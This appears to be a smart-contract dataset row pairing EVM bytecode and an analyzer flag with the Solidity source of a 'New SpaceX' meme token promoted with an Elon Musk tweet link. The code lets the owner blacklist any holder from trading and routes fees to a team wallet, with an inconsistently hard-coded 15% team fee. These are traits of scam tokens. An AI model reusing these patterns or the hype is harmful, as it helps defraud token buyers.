fffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6d426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f20616464726573734348546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c6973744348546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e7366657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572a165627a7a72305820ed9380174e7081dbecb5eadb1e5f866ff129a40c99dc1330a82a04000a438f640029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 658 |
0x12dd335e95f41113247fa617fd16f4485278536c | /**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
/*
New SpaceX is going to launch in the Uniswap at July 4.
This is fair launch and going to launch without any presale.
https://twitter.com/elonmusk/status/1411435425789448193
All crypto babies will become a New SpaceX in here.
Let's enjoy our launch!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SpaceXStarL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SpaceXStarL";
string private constant _symbol = " New SpaceX StarLink ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600b81526020017f537061636558537461724c000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601581526020017f204e65772053706163655820537461724c696e6b200000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea